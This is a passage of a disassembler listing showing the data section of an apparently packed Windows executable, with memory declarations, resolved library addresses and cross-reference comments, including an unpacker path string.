; sub_409909+890r ...
dword_4CB94C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 77E09134h ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw
; sub_4126A7+40r ...
dword_4CB95C dd 76D629BBh ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er ...
dword_4CB960 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 77E09070h ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 71AB1740h ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 77D5C13Ah ; DATA XREF: sub_409909+220w
; sub_409909+23Cr ...
dword_4CB974 dd 77D45B19h ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 71AB14DCh ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0CC0004h ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 77DF7311h ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 1F7CD927h ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 76206853h ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 77D4932Ch ; DATA XREF: sub_409909+206w
; sub_409909+227r ...
dword_4CB9A4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 76206B7Fh ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 71AB1444h ; DATA XREF: sub_409909+624w
; sub_409909+774r ...
dword_4CB9B0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 77DD5D20h ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 71AB1890h ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 77C7531Dh ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 71AB32CAh ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 71AB5690h ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 71AB5DE2h ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 71AB3ECEh ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 76204E4Dh ; DATA XREF: sub_409909+879w
; sub_4167A0+4DCr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 77C76551h ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 77C729E2h ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 77C7212Fh ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 71AB1AF4h ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 77D5E303h ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 77D4702Fh ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 71AB1ED3h ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 71B2A381h ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 77DDA595h ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 773F97B0h ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 76D67A29h ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 76D674FAh ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 71C214BAh ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 71B22C25h ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 71AB5A01h ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 77E78C17h ; DATA XREF: sub_401221+52r
; sub_409909+31w ...
dword_4CBA84 dd 77D49A11h ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 76D62A37h ; DATA XREF: sub_409909+927w
; sub_409909+93Br ...
dword_4CBA90 dd 77E6CBF9h ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: sub_401221+349r
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C600+D9w ...
dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r ...
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r ...
dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: sub_40EED1+1Fr
; sub_40EF1C+BCo ...
dword_4CE6FC dd 0 ; DATA XREF: sub_40EF1C+B7o
; sub_40EF1C+DAr ...
dword_4CE700 dd 0 ; DATA XREF: sub_40EF1C+9Ao
; sub_40EF1C+CFr ...
dword_4CE704 dd 0 ; DATA XREF: sub_40EE8E+35r
; sub_40EF1C+95o ...
dword_4CE708 dd 0 ; DATA XREF: sub_40EE8E+17r
; sub_40EED1+3Dr ...
align 10h
dword_4CE710 dd 0B4B0h ; DATA XREF: sub_40BD91+2AEr
; sub_40F0F1+10w ...
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
; sub_40F108+27Cw
dword_4CE71C dd 0 ; DATA XREF: sub_40F9BF+2Aw
; sub_40F9BF+51r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: sub_4111C0+146r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
align 10h
byte_4CE740 db 0 ; DATA XREF: sub_413A29+1D3w
; sub_413A29+2D2o
align 2
word_4CE742 dw 0 ; DATA XREF: sub_413A29+1E3w
word_4CE744 dw 0 ; DATA XREF: sub_413A29+1E9w
word_4CE746 dw 0 ; DATA XREF: sub_413A29+1F0w
byte_4CE748 db 0 ; DATA XREF: sub_413A29+1F7w
byte_4CE749 db 0 ; DATA XREF: sub_413A29+1FEw
word_4CE74A dw 0 ; DATA XREF: sub_413A29+204w
dword_4CE74C dd 0 ; DATA XREF: sub_413A29+234w
; sub_413A29+250w
dword_4CE750 dd 0 ; DATA XREF: sub_413A29+258w
byte_4CE754 db 0 ; DATA XREF: sub_413A29+26Aw
byte_4CE755 db 0 ; DATA XREF: sub_413A29+27Dw
word_4CE756 dw 0 ; DATA XREF: sub_413A29+295w
word_4CE758 dw 0 ; DATA XREF: sub_413A29+2A4w
word_4CE75A dw 0 ; DATA XREF: sub_413A29+29Cw
dword_4CE75C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o
dword_4CEB60 dd 80h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo ...
byte_4CED60 db 0 ; DATA XREF: sub_4152D1+1A1w
; sub_4152D1+27Ao
align 2
word_4CED62 dw 0 ; DATA XREF: sub_4152D1+1AEw
word_4CED64 dw 0 ; DATA XREF: sub_4152D1+1B8w
word_4CED66 dw 0 ; DATA XREF: sub_4152D1+1C1w
byte_4CED68 db 0 ; DATA XREF: sub_4152D1+1C8w
byte_4CED69 db 0 ; DATA XREF: sub_4152D1+1CFw
word_4CED6A dw 0 ; DATA XREF: sub_4152D1+1D6w
dword_4CED6C dd 0 ; DATA XREF: sub_4152D1+1E3w
dword_4CED70 dd 0 ; DATA XREF: sub_4152D1+1EBw
word_4CED74 dw 0 ; DATA XREF: sub_4152D1+244w
word_4CED76 dw 0 ; DATA XREF: sub_4152D1+22Cw
word_4CED78 dw 0 ; DATA XREF: sub_4152D1+256w
word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1F7w
dword_4CED7C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
align 10h
byte_4CF190 db 0 ; DATA XREF: sub_4157BA+241o
; sub_4157BA+250w ...
byte_4CF191 db 0 ; DATA XREF: sub_4157BA+264w
word_4CF192 dw 0 ; DATA XREF: sub_4157BA+295w
word_4CF194 dw 0 ; DATA XREF: sub_4157BA+27Cw
; sub_4157BA:loc_415B8Cw
word_4CF196 dw 0 ; DATA XREF: sub_4157BA+29Bw
byte_4CF198 db 0 ; DATA XREF: sub_4157BA+288w
byte_4CF199 db 0 ; DATA XREF: sub_4157BA+25Dw
word_4CF19A dw 0 ; DATA XREF: sub_4157BA+3F2w
; sub_4157BA+41Cw
dword_4CF19C dd 0 ; DATA XREF: sub_4157BA:loc_415A83w
; sub_4157BA+39Ar
dword_4CF1A0 dd 0 ; DATA XREF: sub_4157BA+2D6w
word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+394w
; sub_4157BA+3E8o
word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+335w
; sub_4157BA+35Ar ...
dword_4CF1A8 dd 0 ; DATA XREF: sub_4157BA+30Cw
; sub_4157BA+3D9w
dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA+328w
; sub_4157BA+3ABw ...
byte_4CF1B0 db 0 ; DATA XREF: sub_4157BA+311r
; sub_4157BA+31Fw
byte_4CF1B1 db 0 ; DATA XREF: sub_4157BA+2DBw
; sub_4157BA+3A4w ...
word_4CF1B2 dw 0 ; DATA XREF: sub_4157BA+2E9w
word_4CF1B4 dw 0 ; DATA XREF: sub_4157BA+3F9w
; sub_4157BA+42Aw
word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+32Ew
word_4CF1B8 dw 0 ; DATA XREF: sub_4157BA+360w
; sub_4157BA+432o
word_4CF1BA dw 0 ; DATA XREF: sub_4157BA+36Fw
; sub_4157BA+409w
dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+369w
dd 2 dup(0)
dword_4CF1C8 dd 0 ; DATA XREF: sub_4157BA+39Fw
; sub_4157BA+417o
dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+33Bw
byte_4CF1D0 db 0 ; DATA XREF: sub_4157BA+341w
byte_4CF1D1 db 0 ; DATA XREF: sub_4157BA+347w
word_4CF1D2 dw 0 ; DATA XREF: sub_4157BA+354w
dword_4CF1D4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo
dword_4CF1F0 dd 0 ; DATA XREF: sub_4157BA+30w
; sub_4157BA+43Br
dword_4CF1F4 dd 100h dup(0) ; DATA XREF: sub_4157BA+1C3o
; sub_4157BA+47Eo
dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o
; sub_415DD8+Eo ...
dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo
dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .packed:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; .packed:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; .packed:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w
; sub_41DA8B:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar
dword_4DBDE8 dd 0A28h ; DATA XREF: sub_41E1D3+52w
dword_4DBDEC dd 501h ; DATA XREF: sub_41E1D3+49w
dword_4DBDF0 dd 5 ; DATA XREF: sub_41E1D3+3Ew
dword_4DBDF4 dd 1 ; DATA XREF: sub_41E1D3+30w
dword_4DBDF8 dd 1 ; DATA XREF: sub_401221:loc_401516r
; sub_42378C+91w
dword_4DBDFC dd 350B20h ; DATA XREF: sub_401221+2FEr
; sub_401221+31Er ...
dd 0
dword_4DBE04 dd 350B48h ; DATA XREF: sub_4236D3+44w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE34 dd 0 ; DATA XREF: sub_41E1D3+84w
; sub_4236D3:loc_4236E5r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r sub_41E2EEr ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: sub_4234F7+3Ar
; sub_4234F7+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o
; .packed:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: sub_4239D9+2r
; sub_4239D9+23w ...
dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w
